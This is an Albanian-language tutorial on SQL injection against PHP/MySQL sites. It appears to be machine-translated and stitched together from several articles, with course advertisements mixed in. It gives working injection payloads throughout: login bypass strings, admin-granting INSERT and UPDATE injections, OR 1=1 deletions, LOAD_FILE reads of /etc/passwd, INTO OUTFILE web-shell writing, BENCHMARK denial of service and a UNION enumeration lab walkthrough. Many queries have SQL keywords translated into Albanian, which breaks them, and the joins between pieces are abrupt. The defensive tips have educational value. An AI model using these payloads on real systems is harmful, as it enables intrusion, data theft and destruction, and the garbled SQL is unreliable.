SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

ku $login dhe $password janë variabla që kalohen nga formulari. Një pyetje e tillë kthen të dhëna për përdoruesin nëse është i suksesshëm, dhe një rezultat bosh nëse nuk është i suksesshëm. Prandaj, për të kaluar autorizimin, një sulmues duhet vetëm të modifikojë kërkesën në mënyrë që të kthejë një rezultat jo zero. Përcaktohet një hyrje që korrespondon me një përdorues të vërtetë, dhe në vend të një fjalëkalimi, " OSE "1"="1" ose ndonjë kusht të vërtetë (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 NË (0,1,2), 2 MES 1 DHE 3). Prandaj, kërkesa do të gjenerohet si më poshtë:

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OSE "1"="1";

e cila do të kthejë rezultatin, dhe si rezultat, do të çojë në autorizim të paautorizuar. Po nëse fjalëkalimet në tabelë janë hash? Pastaj kontrolli i fjalëkalimit thjesht "çaktivizohet" duke komentuar gjithçka që vjen pas "identifikimit". Në formë, në vend të hyrjes, caktohet hyrja e përdoruesit të vërtetë dhe "# duke komentuar kështu kontrollin e fjalëkalimit.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

si opsion "OR `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `password`="12345"

SELECT * FROM `users` WHERE `login`="" OR `admin`="1"#" AND `password`="12345"

Një gabim i madh është të kontrolloni fjalëkalimin si ky:

SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE "$password"

pasi në këtë rast fjalëkalimi % është i përshtatshëm për çdo hyrje

INSERT DHE PËRDITËSO

Megjithatë, nuk janë vetëm SELECT që janë një pikë e dobët në SQL. INSERT dhe UPDATE nuk mund të jenë më pak të prekshme. Le të themi se faqja ka aftësinë për të regjistruar përdoruesit. Pyetje që shton një përdorues të ri:

Një cenueshmëri në njërën nga fushat lejon që kërkesa të modifikohet me të dhënat e nevojshme. Në fushën e hyrjes ne shtojmë përdorues", "fjalëkalim", 1)# duke shtuar kështu një përdorues me të drejta administratori.

INSERT `users` SET `login`="user", `password`="fjalëkalim", `admin`="0";

Le të supozojmë se fusha `admin` ndodhet përpara fushës `login`, kështu që truku i zëvendësimit të të dhënave që vijnë pas fushës `login` nuk funksionon. Le të kujtojmë se sintaksa e komandës INSERT ju lejon të shtoni jo vetëm një rresht, por disa. Një shembull i një cenueshmërie në fushën e identifikimit: $login= user", "password"), (1, "hacker", "password")#

INSERT NE SET "përdoruesit" ("admin", `login`, "fjalëkalim") VLERA (0, "përdorues", "fjalëkalim"), (1, "haker", "fjalëkalim")#", "fjalëkalim") ;

Në këtë mënyrë krijohen 2 hyrje, njëra me të drejtat e një përdoruesi të thjeshtë, tjetra me të drejtat e dëshiruara të administratorit.

Një situatë e ngjashme me UPDATE

Shtimi i fushave shtesë për të ndryshuar:

$login=", `fjalëkalim`="", `admin`="1

Pastaj një kërkesë e ngjashme

PËRDITËSONI SET 'përdoruesit` `login`="caji" WHERE `id`=2;

Ndryshuar si më poshtë:

PËRDITËSONI SET `login`="", `fjalëkalim`="", `admin`="1" KU `id`=2;

Çfarë do të ndodhë? Përdoruesi me ID 2 do të ndryshojë hyrjen dhe fjalëkalimin në vlera boshe dhe do të marrë të drejtat e administratorit. Ose në rast

$login=", `fjalëkalimi`="" WHERE `id` =1#

Hyrja dhe fjalëkalimi i administratorit do të jenë bosh.

FSHIJE

Gjithçka është e thjeshtë këtu, nuk do të mund të merrni ose ndryshoni asnjë të dhënë, por jeni gjithmonë të mirëpritur të fshini të dhëna të panevojshme.

$id=1 OSE 1=1

FSHI NGA `lajmet` KU `id`="1" OSE 1=1; // fshin të gjitha hyrjet në tabelë.

Në vend të 1=1 mund të ketë ndonjë kusht të vërtetë të përmendur më sipër. Parametri LIMIT mund të ruhet, i cili do të kufizojë numrin e rreshtave të fshirë, por jo gjithmonë, ai thjesht mund të komentohet.

FSHI NGA `lajmet` KU `id`="1" OSE 1=1# LIMIT 1;

Puna me skedarë përmes injektimit SQL

Dyshoj seriozisht se kjo mund të ndodhë kudo, por për të qenë të drejtë, metoda të tilla duhet të përshkruhen gjithashtu. Kur aktivizohen privilegjet e skedarit, mund të përdorni komandat LOAD_FILE dhe OUTFILE.

Rreziku i tyre mund të gjykohet nga pyetjet e mëposhtme:

SELECT * FROM `news` WHERE `id`=-1 bashkim zgjidhni null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Por të gjitha problemet nuk mbarojnë me kaq.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` në skedarin "/home/test/www/test.php";

Kështu shkruajmë një skedar që përmban kodin PHP. Vërtetë, përveç kodit, do të ketë edhe disa hyrje të tjera null, por kjo në asnjë mënyrë nuk do të ndikojë në performancën e kodit PHP. Sidoqoftë, ekzistojnë disa kushte për shkak të të cilave këto metoda do të funksionojnë:

  • Privilegji FILE është aktivizuar për përdoruesin aktual të bazës së të dhënave;
  • Të drejtat për të lexuar ose shkruar këta skedarë janë për përdoruesin nën të cilin serveri MySQL po funksionon shtegu absolut për në skedar;
  • një kusht më pak i rëndësishëm është që madhësia e skedarit të jetë më e vogël se max_allowed_packet, por meqenëse në MySQL 3.23 madhësia më e madhe e paketës mund të jetë 16 MB, dhe në 4.0.1 e më shumë, madhësia e paketës kufizohet vetëm nga sasia e memories së disponueshme, deri në një maksimum teorik prej 2 GB, kjo gjendje zakonisht është gjithmonë e disponueshme.

Citate magjike

Thomat magjike e bëjnë të pamundur përdorimin e injeksioneve SQL në variablat e vargut, pasi ato automatikisht i shmangen të gjitha " dhe " që vijnë me $_GET dhe $_POST. Por kjo nuk vlen për përdorimin e dobësive në parametra të plotë ose të pjesshëm, megjithëse me ndryshimin që nuk do të jetë e mundur të përdoret ". Në këtë rast, funksioni char ndihmon.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS përmes injektimit SQL.

Gati harrova të them, dhe ekspertët e SQL do të konfirmojnë, se operacioni UNION është i mundur vetëm në MySQL >=4.0.0. Njerëzit që kanë projekte në versionet e mëparshme morën një psherëtimë të lehtësuar :) Por jo gjithçka është aq e sigurt sa duket në shikim të parë. Nganjëherë është e vështirë të ndiqet logjika e sulmuesit. "Nëse nuk mund të hakoj, të paktën do të dështoj," do të mendojë hakeri, duke shtypur funksionin BENCHMARK për një kërkesë shembull

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(TANI()));

M'u deshën nga 12 deri në 15 sekonda. Shtimi i një zero - 174 sekonda. Unë thjesht nuk mund ta ngrija dorën për të bërë më shumë. Sigurisht, në serverë të fuqishëm gjëra të tilla do të bëhen shumë më shpejt, por...BENCHMARK ju lejon të investoni veten një nga një. Si kjo:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(TANI())));

Ose edhe si kjo

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(TANI()))));

Dhe numri i zerove kufizohet vetëm nga "mirësia" e atij që i shtyp ato.

Unë mendoj se edhe një makinë shumë e fuqishme nuk do të jetë në gjendje të gëlltisë lehtësisht kërkesa të tilla.

Fundi

Kjo eshte e gjitha. Në këtë artikull, u përpoqa të mbuloj sa më shumë të jetë e mundur llojet e dobësive që bëjnë programuesit kur krijojnë programe duke përdorur bazat e të dhënave MySQL. Megjithatë, jam më se i sigurt se kjo nuk është një listë e plotë.

Është e rëndësishme të mbani mend rregullat kundër injeksioneve SQL

  • Mos i besoni ASNJË të dhënave që vijnë nga përdoruesi. Nuk po flasim vetëm për të dhënat që transferohen në grupet $_GET dhe $_POST. Mos harroni për $_COOKIE dhe pjesë të tjera të titujve HTTP. Ju duhet të mbani mend se ato janë të lehta për t'u zëvendësuar.
  • Ju nuk duhet të mbështeteni në opsionin "citate magjike" të PHP, i cili ndoshta më shumë pengon sesa ndihmon. Të gjitha të dhënat që transferohen në bazën e të dhënave duhet të përmblidhen sipas llojit me fushat e bazës së të dhënave. ($id=(int)$_GET["id"]) ose të mbrojtur nga funksionet mysql_real_escape_string ose mysql_real_escape_string.
  • mysql_real_escape_string nuk i shpëton % dhe _, kështu që nuk duhet të përdoret së bashku me LIKE.
  • Ju gjithashtu nuk duhet të mbështeteni shumë në një mod_rewrite të shkruar saktë. Këto janë vetëm mënyra për të krijuar URL "të përshtatshme", por sigurisht jo një mënyrë për t'u mbrojtur nga injeksionet SQL.
  • Çaktivizo raportimin e gabimeve.
  • Mos i ndihmoni vizitorët e këqij. Edhe nëse gabimi identifikohet, mungesa e informacionit për të do të pengojë seriozisht zbatimin e tij. Mos harroni ndryshimin midis fazës së zhvillimit dhe draftit të punës. Dalje gabimi dhe informacione të tjera të detajuara - aleati juaj në fazën e zhvillimit, dhe aleat i sulmuesit në versionin e punës. Ju gjithashtu nuk duhet t'i fshehni ato duke komentuar në kodin HTML për çdo 1000 vizitorë do të ketë 1 që do të gjejë akoma gjëra të tilla.
  • Trajtoni gabimet.
  • Shkruani pyetjet e përpunimit të SQL në atë mënyrë që informacioni rreth tyre të ruhet në disa regjistra ose të dërgohet me postë.
  • Mos ruani të dhënat e aksesit në bazën e të dhënave në skedarë që nuk përpunohen nga PHP si kod.
  • Nuk mendoj se ia kam zbuluar askujt Amerikën, por nga përvoja ime mund të them se kjo praktikë është mjaft e zakonshme. Zakonisht ky është një skedar me shtesën *.inc
  • Mos krijoni një bazë të dhënash "super përdorues".
  • Jepni vetëm të drejtat e nevojshme për kryerjen e detyrave specifike.
  • Në kërkim, ia vlen të kufizoni numrin minimal dhe maksimal të karaktereve, të cilët janë parametrat e pyetjes.
  • Për një përdorues të ndershëm, nga 3 deri në 60-70 karaktere janë të mjaftueshme për të kënaqur interesat e tyre të kërkimit, dhe në të njëjtën kohë ju parandaloni situatat kur pyetja e kërkimit do të jetë vëllimi i "Luftës dhe Paqes".
  • Kontrolloni gjithmonë numrin e regjistrimeve të kthyera pas një pyetjeje

Pothuajse 90% e faqeve të shkruara në PHP Ekziston një gabim i tillë logjik, kjo mund të vërehet veçanërisht kur bëhet një kërkesë në bazë të ID-së së marrë nga përdoruesi Nëse i jepni manualisht një ID jo-ekzistente, do të shohim rezultate mjaft interesante nga puna e disa skripteve. , në vend që të kthejë 404, programi në rastin më të mirë nuk do të bëjë asgjë dhe do të shfaqet në një faqe të zbrazët.

SQL e sigurt për ju.

Ne paraqesim në vëmendjen tuaj një kurs të ri nga ekipi Codeby- "Testimi i penetrimit të aplikacioneve në ueb nga e para." Teoria e përgjithshme, përgatitja e mjedisit të punës, fuzzimi pasiv dhe marrja e gjurmëve të gishtave, fuzzimi aktiv, dobësitë, post-shfrytëzimi, mjetet, inxhinieria sociale dhe shumë më tepër.


Thelbi i injeksioneve SQL

Ju ndoshta e keni dëgjuar tashmë shakanë nga interneti: " Pse është e njëjtë në të gjitha mësimet e vizatimit: Për shembull, një mësim për vizatimin e një bufi. Së pari, ne tërheqim syrin e bufit në detaje për gjysmë ore. Dhe pastaj - një herë - në pesë minuta - ne tërheqim pjesën tjetër të bufit».

Ekziston edhe një foto për këtë:

Ka shumë materiale për injeksionet SQL: artikuj, libra, kurse video (me pagesë dhe falas). Megjithatë, jo shumë prej tyre shtojnë mirëkuptimin për këtë çështje. Sidomos nëse jeni fillestar. I mbaj mend mirë ndjenjat e mia: këtu është rrethi, këtu është pjesa tjetër e bufit...

Qëllimi i këtij shënimi është të tërheqë syrin te bufi për të dhënë një shpjegim normal dhe të thjeshtë, çfarë janë injeksionet SQL, cili është thelbi i tyre, sa të rrezikshëm janë dhe pse.

Për eksperimente, ne do të kemi një skript shumë të thjeshtë që është i prekshëm ndaj injektimit SQL:

Për të hyrë në bibliotekën rajonale të Bobruisk, shkruani kredencialet tuaja:

Shkruaj emrin tend

Futni fjalëkalimin tuaj


pyetje ("SET EMRAVE UTF8"); $mysqli->query("VENDOSJA E KARAKTERIT UTF8"); $mysqli->query("SET karakter_set_klient = UTF8"); $mysqli->pyetës ("SET karakter_set_lidhje = UTF8"); $mysqli->query ("SET_karaktereve_set_rezultateve = UTF8"); ) $emri = filter_input (INPUT_GET, "emri"); $fjalëkalim = filter_input(INPUT_GET, "fjalëkalim"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE emri = "$name" AND password = $password")) ( ndërsa ($obj = $result->fetch_object()) (echo "

Emri juaj:$obj->emri

Statusi juaj:$obj->statusi

Librat në dispozicion për ju:$obj->libra


"; ) ) else ( printf("Gabim: %sn", $mysqli->gabim); ) $mysqli->close(); ?>

Do të kuptoni shumë më tepër nëse bëni gjithçka me mua. Pra ja ku është. Ai përmban dy skedarë: indeks.php Dhe db_library.sql. Vendosni skedarin index.php kudo në server - ky është skripti ynë i cenueshëm. Dhe skedari db_library.sql duhet të importohet, për shembull, duke përdorur phpMyAdmin.

Në skedarin index.php, emri i përdoruesit të bazës së të dhënave është vendosur në rrënjë dhe fjalëkalimi është bosh. Ju mund të futni të dhënat tuaja duke redaktuar rreshtin:

$mysqli = mysqli i ri ("localhost", "root", "", "db_library");

Sipas legjendës, ky është formulari i hyrjes në versionin online të bibliotekës rajonale Bobruisk. Tashmë na janë dhënë kredencialet: emri i përdoruesit - Demo, fjalëkalimi - 111.

Le t'i futim ato dhe të shohim:

Kredencialet tona janë pranuar dhe emri, statusi dhe librat që kemi në dispozicion shfaqen në ekrane. Mund të provoni, me çdo të dhënë tjetër (nëse ndryshoni emrin ose fjalëkalimin), ne nuk do të jemi në gjendje të identifikohemi dhe të shohim librat e disponueshëm për lexim. Ne gjithashtu nuk kemi asnjë mënyrë për të ditur se cilët libra janë të disponueshëm për të tjerët sepse nuk dimë emrin e përdoruesit dhe fjalëkalimin e tyre.

Le të shohim kodin burimor për të kuptuar se si ka ndodhur kërkesa e bazës së të dhënave:

SELECT * NGA `anëtarët` WHERE emri = "$name" DHE fjalëkalimi = "$password"

fjalë ZGJIDH në një pyetje SQL tregon se cilat të dhëna duhet të merren. Për shembull, mund të specifikoni emrin SELECT, ose SELECT emrin, fjalëkalimin. Pastaj në rastin e parë do të merrej vetëm emri nga tabela, dhe në të dytën - vetëm emri dhe fjalëkalimi. Ylli thotë që ju duhet të merrni të gjitha vlerat. Ato. SELECT * - kjo do të thotë të merrni të gjitha vlerat.

NGA tregon se nga duhet t'i merrni ato. FROM pasohet nga emri i tabelës, d.m.th. hyrja "Anëtarët" FROM thotë "merr nga tabela" "anëtarë".

Me tutje KU, nëse keni studiuar ndonjë gjuhë programimi, atëherë kjo fjalë i ngjan më së shumti "Nëse". Dhe pastaj ka kushte, këto kushte mund të jenë të vërteta (1) ose të rreme (0). Në rastin tonë

(emri = '$name') DHE (fjalëkalimi ='$fjalëkalimi')

do të thotë që kushti do të jetë i vërtetë nëse ndryshorja e kaluar $name është e barabartë me vlerën e fushës së emrit në tabelë dhe ndryshorja e kaluar '$password është e barabartë me vlerën e fushës së fjalëkalimit në tabelë. Nëse të paktën një kusht nuk plotësohet (emri i përdoruesit ose fjalëkalimi i pasaktë), atëherë asgjë nuk do të merret nga tabela, p.sh. shprehja SELECT * FROM `anëtarët` WHERE emri = '$name' AND fjalëkalimi ='$fjalëkalimi' do të thotë : në tabela "anëtarët", merrni vlerat e të gjitha fushave nëse plotësohet kushti për to - emri i përdoruesit dhe fjalëkalimi i kaluar përputhen me ato që gjenden në tabelë.

Është e qartë. Le të fusim, për shembull, një citat të vetëm me emrin e përdoruesit:

Shiriti i adresës:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo'&password=111

Nuk u morën të dhëna, në vend të kësaj ne shohim një gabim:

Gabim: Ju keni një gabim në sintaksën tuaj SQL; kontrolloni manualin që korrespondon me versionin e serverit tuaj MySQL për sintaksën e duhur për t'u përdorur pranë "111" në rreshtin 1

Kur futëm të dhënat e sakta, kërkesa jonë dukej kështu:

SELECT * NGA `anëtarët` WHERE emri = "Demo" DHE fjalëkalimi = "111"

Duke shtuar një kuotë, pyetja jonë bëhet:

ZGJIDH * NGA `anëtarët` WHERE emri = "Demo" " DHE fjalëkalimi = "111"

Vendos hapësira shtesë për qartësi, dmth marrim kërkesën

Nga rruga, kërkesa është e saktë në sintaksë. Dhe menjëherë pas saj, pa asnjë ndarës, vazhdon kërkesa:

"AND password="111"

Kjo është ajo që thyen gjithçka, pasi numri i kuotave të hapjes dhe mbylljes nuk është i barabartë. Për shembull, mund të futni një citat tjetër:

ZGJIDH * NGA `anëtarët` WHERE emri = "Demo" " "AND fjalëkalimi = "111"

Shiriti i adresës:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Gabimi u zhduk, por kjo nuk i shtoi asnjë kuptim kërkesës. Bishti i pakuptimtë i kërkesës po na shqetëson. Si mund ta shpëtojmë atë?

Ka një përgjigje - këto janë komente.

Komentet në MySQL mund të specifikohen në tre mënyra:

# (hash - funksionon deri në fund të rreshtit)

(dy vija - punoni deri në fund të rreshtit, ju duhet një karakter hapësirë ​​pas dy pikave)

/* ky është një koment */ një grup prej katër personazhesh - gjithçka brenda është një koment, gjithçka para ose pas këtij grupi personazhesh nuk konsiderohet koment.

Le të vendosim një koment në pyetjen tonë me një thonjëza, pas këtij citimi vendosim një shenjë komenti për të hequr bishtin dhe një shenjë +, e cila tregon një hapësirë, në mënyrë që pyetja të dalë kështu:

ZGJIDH * NGA `anëtarët` WHERE emri = "Demo" --+ " DHE fjalëkalimi = "111"

Shiriti i adresës:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo'—+&password=111

Jo vetëm që gabimi u zhduk, por të dhënat e sakta u shfaqën për përdoruesin Demo. Që tani kërkesa jonë ka marrë formën

SELECT * NGA `anëtarët` WHERE emri = "Demo"

në fund të fundit, bishti —+ 'DHE fjalëkalimi ='111' shndërrohet në koment dhe nuk ndikon më në kërkesë.

Shikoni sërish me kujdes kërkesën e re:

SELECT * NGA `anëtarët` WHERE emri = "Demo"

Dhe nuk kontrollon më fjalëkalimin! Ato. Duke ditur emrat e përdoruesve të ligjshëm, por duke mos ditur fjalëkalimet e tyre, ne mund të shikojmë të dhënat e tyre personale. Ato. Tashmë kemi filluar të shfrytëzojmë injeksionin SQL.

Për fat të keq, unë nuk di ndonjë emër të ligjshëm dhe duhet të dal me diçka tjetër.

Le të hedhim një vështrim më të afërt në këtë pjesë të kërkesës:

WHERE emri = "Demo"

E mbani mend DHE-në që përdoret në pyetjen e parë? Ai qëndron për funksionimin logjik DHE. Më lejoni t'ju kujtoj se operacioni logjik "AND" prodhon "true" (1) vetëm nëse të dyja shprehjet janë të vërteta. Por operatori logjik "OR" kthen "true" (1) edhe nëse të paktën një nga shprehjet është e vërtetë. Ato. shprehje

WHERE emri = "Demo" OSE 1

do të jetë gjithmonë e vërtetë do të kthejë gjithmonë 1. Sepse njëra nga dy shprehjet që krahasohen do të kthejë gjithmonë 1.

Ato. ne duhet të krijojmë një shprehje që duket si kjo:

ZGJIDH * NGA `anëtarët` WHERE emri = "Demo" OSE 1

Shiriti i adresës:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo' OSE 1 —+ &fjalëkalimi=111

Rezultati:

Rezultati është i shkëlqyer! Ne morëm një listë të të gjitha rekordeve në tabelë.

ORDER BY dhe UNION janë miqtë kryesorë të injeksioneve SQL

Ne kemi marrë tashmë të dhëna që ishin të paarritshme për ata që nuk kishin një emër përdoruesi dhe fjalëkalim të vlefshëm. A ka ndonjë gjë tjetër që mund të marr? Po, mund të merrni një depon të plotë të kësaj tabele (më lejoni t'ju kujtoj, ne ende nuk kemi fjalëkalime. Për më tepër, ne mund t'i marrim të gjitha të dhënat nga të gjitha bazat e të dhënave në këtë server përmes një vrime të vogël!

UNION ju lejon të kombinoni pyetjet SQL. Në jetën reale, detyrat e mia janë të thjeshta, kështu që nuk përdor pyetje të thjeshta për bazat e të dhënave dhe aftësitë e UNION. Por për injeksionet SQL nuk ka fjalë më të vlefshme se kjo.

UNION ju lejon të kombinoni në mënyrë mjaft fleksibël pyetjet SQL me SELECT, duke përfshirë nga baza të ndryshme të të dhënave. Por ekziston një kërkesë e rëndësishme sintaksore: numri i kolonave në SELECT të parë duhet të jetë i barabartë me numrin e kolonave në SELECT të dytë.

ORDER BY specifikon renditjen e të dhënave të marra nga tabela. Mund të renditni sipas emrit të kolonës ose sipas numrit të saj. Për më tepër, nëse nuk ka kolonë me këtë numër, atëherë do të shfaqet një gabim:

Shiriti i adresës:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ POROSIT ME 1 —+ &password=111

Kërkesa duket si kjo:

ZGJIDH * NGA `anëtarët` WHERE emri = "-1" RENDOSJE NGA 1

Ne e zëvendësuam emrin e përdoruesit me -1 në mënyrë që të mos shfaqen të dhëna.

Nuk ka asnjë gabim, nuk ka as gabim me kërkesat

SELECT * FROM `members` WHERE emri = "-1" ORDER BY 2 SELECT * FROM `members` WHERE emri = "-1" ORDER BY 3 SELECT * FROM `embers` WHERE emri = "-1" RENDOSJE NGA 4 SELECT * NGA `anëtarët` WHERE emri = "-1" RENDOSJE NGA 5

Dhe këtu është kërkesa

ZGJIDH * NGA `anëtarët` WHERE emri = "-1" RENDOSJE NGA 6

ajo korrespondon me vargun e adresës

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ POROSIT ME 6 —+ &password=111

Ka dhënë një gabim

Gabim: Kolona e panjohur "6" në "klauzolën e rendit"

Kjo do të thotë që të dhënat zgjidhen nga tabela në pesë kolona.

Ne ndërtojmë pyetjen tonë me UNION:

Siç thashë, numri i fushave duhet të jetë i njëjtë në të dy SELECT, por ajo që është në këto fusha nuk është shumë e rëndësishme. Për shembull, thjesht mund të futni numra - dhe ata do të shfaqen. Mund të futni NULL - atëherë asgjë nuk do të shfaqet në vend të fushës.

SELECT * NGA `anëtarët` WHERE emri = "-1" UNION SELECT 1,2,3,4,5

Shiriti i adresës:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 —+ &password=111

Një mënyrë tjetër për të gjetur numrin e kolonave është përdorimi i të njëjtit UNION. Duke përdorur një shkallë, ne shtojmë numrin e kolonave:

SELECT * FROM `embers` WHERE emri = "-1" UNION SELECT 1 SELECT * FROM `embers` WHERE emri = "-1" UNION SELECT 1,2 SELECT * FROM `embers` WHERE emri = "-1" UNION SELECT 1 ,2,3 ZGJIDH * NGA `anëtarët` WHERE emri = "-1" UNION SELECT 1,2,3,4

Ata të gjithë do të prodhojnë të njëjtin gabim:

Gabim: Deklaratat e përdorura SELECT kanë një numër të ndryshëm kolonash

Bëni këtë derisa mesazhi i gabimit të zhduket.

Ju lutemi vini re se përmbajtja e disa fushave UNION SELECT 1,2,3,4,5 shfaqet në ekran. Në vend të numrave, mund të specifikoni funksionet.

Çfarë të shkruani në SELECT

Ka disa funksione që mund të shkruhen drejtpërdrejt në UNION:

  • BAZA E TË DHËNAVE()— tregoni emrin e bazës së të dhënave aktuale
  • CURRENT_USER()- tregon emrin e përdoruesit dhe emrin e hostit
  • @@datadir- shfaq rrugën absolute për në bazën e të dhënave
  • USER ()- Emri i përdoruesit
  • VERSION()- versioni i bazës së të dhënave

Në shembullin tonë, shfaqen fushat 2, 4 dhe 5 d.m.th. ne mund të përdorim ndonjë nga këto fusha.

Duke përdorur DATABASE() në UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,BAZA E TË DHËNAVE() —+ &password=111

Rezultati:

Duke përdorur CURRENT_USER() në UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,CURRENT_USER() —+ &password=111

Rezultati:

Duke përdorur @@datadir në UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,@@datadir —+ &password=111

Rezultati:

Marrja e emrave të tabelave, fushave dhe depozitimit të bazës së të dhënave

Në bazën e të dhënave informacion_skema ka një tabelë të quajtur tabelat. Kjo tabelë përmban një listë të të gjitha tabelave që janë të pranishme në të gjitha bazat e të dhënave në këtë server. Ne mund të zgjedhim tabelat tona duke kërkuar në fushë skema_tabele Emri i bazës sonë të të dhënave është 'db_library' (emrin e gjetëm duke përdorur DATABASE()).

Kjo quhet teknika e plotë UNION. Ka shumë materiale për të në internet. Në serverin tim MySQL, teknika e plotë UNION nuk funksionon. Po marr nje gabim

Gabim: Përzierje e paligjshme e kolaudimeve për operacionin "UNION"

Nuk funksionon për shkak të lakimit të krahëve, sepse kjo teknikë gjithashtu nuk sjell rezultate me sqlmap:

Diçka shkoi keq me teknikën e plotë UNION (mund të jetë për shkak të kufizimit në numrin e marrë të hyrjeve). Rikthimi në teknikën UNION të pjesshëm

Kjo mund të jetë për shkak të versionit 5.6 të MySQL. Sepse Unë nuk mund të jap shembuj praktikë dhe nuk jam i interesuar të rishkruaj komandat e prishura të njerëzve të tjerë - tani, edhe pa mua, ka aq shumë "teoricienët e mëdhenj" në internet sa të doni, kështu që vendosa të kaloj menjëherë në duke marrë parasysh teknikën UNION të pjesshëm. Por kjo nuk është teknika më e thjeshtë, dhe artikulli tashmë është mjaft i gjatë.

p.s. oh po, harrova LIMIT. Herën tjetër do të flas edhe për rolin e LIMIT në injeksionet SQL.

Garantuesi është një ndërmjetës i besuar ndërmjet pjesëmarrësve gjatë transaksionit.


Ju urojmë suksese në përfundimin e tij. Rezultatet e kalimit tuaj do të publikohen më vonë (ndiqni lajmet në rrjetet sociale), dhe të gjithë atyre që kanë kaluar do t'u dërgohet një ftoj për t'u regjistruar në faqe.

Pëlqejeni, ndajeni me miqtë dhe kolegët, ripostoni në rrjetet sociale.

Të gjithë programuesit kanë lexuar ose të paktën dëgjuar për metodat për hakimin e sigurisë së faqes në internet. Ose edhe hasur në këtë problem. Nga ana tjetër, imagjinata e atyre që duan të thyejnë sitin është e pafund, kështu që të gjitha pengesat duhet të mbrohen mirë. Kjo është arsyeja pse unë do të doja të filloja një seri artikujsh të shkurtër që do të prezantojnë metodat dhe teknikat bazë të hakimit të faqeve në internet.

Në artikullin e parë, do të doja të përshkruaj dhe shpjegoj disa metoda të zakonshme për hakimin e një prej pjesëve më të cenueshme të faqes - formularëve. Do të hyj në detaje se si të përdoren këto teknika dhe si të parandalohen sulmet, si dhe të mbuloj testimin e sigurisë.

injeksion SQL

Injektimi SQl është një teknikë ku një sulmues fut komandat SQL në një fushë hyrëse në një faqe interneti. Ky imput mund të jetë çdo gjë - një fushë teksti në një formë, parametra _GET dhe _POST, cookie, etj. Kjo metodë ishte shumë efektive përpara ardhjes së kornizave në botën PHP. Por ky hak mund të jetë ende i rrezikshëm nëse nuk përdorni një ORM ose ndonjë shtesë tjetër për objektin e të dhënave. Pse? Për shkak të mënyrës se si kalohen parametrat në pyetjen SQL.

Injeksione "të verbëra".

Le të fillojmë me një shembull klasik të një deklarate SQL që e kthen përdoruesin sipas hash-it të hyrjes dhe fjalëkalimit (faqe identifikimi)

Shembulli 1

mysql_query("SELECT ID, login FROM users WHERE login = ? dhe password = hash(?)");

Vendosa pikëpyetje në shprehje për shkak të variacioneve të ndryshme të kësaj zgjidhjeje. Opsioni i parë, për mendimin tim, është më i prekshmi:

Shembulli 1a

Mysql_query(" SELECT ID, login FROM users WHERE login = "" . $login . "" dhe password = hash("" . $password . "")");

Në këtë rast, kodi nuk kontrollon për futje të pavlefshme të të dhënave. Vlerat kalohen drejtpërdrejt nga formulari i hyrjes në pyetjen SQL. Në rastin më të mirë, përdoruesi do të vendosë emrin e përdoruesit dhe fjalëkalimin e tij këtu. Cili është skenari më i keq? Le të përpiqemi të hakojmë këtë formë. Kjo mund të bëhet duke kaluar të dhëna "të përgatitura". Le të përpiqemi të identifikohemi si përdoruesi i parë nga baza e të dhënave, dhe në shumicën e rasteve kjo është llogaria e administratorit. Për ta bërë këtë, ne do të kalojmë një varg të veçantë në vend që të futemi në hyrje:

" OSE 1 = 1; --

Citimi i parë mund të jetë gjithashtu një citat i vetëm, kështu që një përpjekje për hakmarrje mund të mos jetë e mjaftueshme. Në fund ka një pikëpresje dhe dy viza në mënyrë që gjithçka që vjen më pas të kthehet në koment. Si rezultat, pyetja e mëposhtme SQL do të ekzekutohet:

SELECT ID, identifikohu nga përdoruesit WHERE login = “;” OSE 1=1 LIMIT 0.1; - dhe fjalëkalimi = hash (";Disa fjalëkalim")

Ai do të kthejë përdoruesin e parë nga baza e të dhënave dhe ndoshta do të hyjë në aplikacion si ai përdorues. Një veprim i mirë do të ishte shtimi i LIMIT për t'u identifikuar si çdo përdorues individual. Kjo është e vetmja gjë që nevojitet për të kaluar çdo vlerë.

Mënyra më serioze

Në shembullin e mëparshëm, gjithçka nuk është aq e frikshme. Opsionet në panelin e kontrollit të administratorit janë gjithmonë të kufizuara dhe do të duhej shumë punë për të thyer realisht faqen. Por një sulm përmes injektimit SQL mund të çojë në dëmtim shumë më të madh të sistemit. Mendoni se sa aplikacione janë krijuar me "përdoruesit" e tabelës kryesore dhe çfarë do të ndodhte nëse një sulmues do të fuste kodin si ky në një formë të pambrojtur:

Hyrja ime e preferuar"; DROP TABLE; --

Tabela "përdoruesit" do të fshihet. Kjo është një nga arsyet për të bërë më shpesh kopje rezervë të bazës së të dhënave.

_GET parametrat

Të gjithë parametrat e plotësuar përmes formularit transmetohen në server duke përdorur një nga dy metodat - GET ose POST. Parametri më i zakonshëm i kaluar përmes GET është id. Ky është një nga vendet më të cenueshme për sulme dhe nuk ka rëndësi se çfarë lloj URL-je përdorni - ` http://example.com/ përdoruesit/?id=1", ose " http://example.com/ përdoruesit/1`, ose ` http://....../.../ postim/35 `.

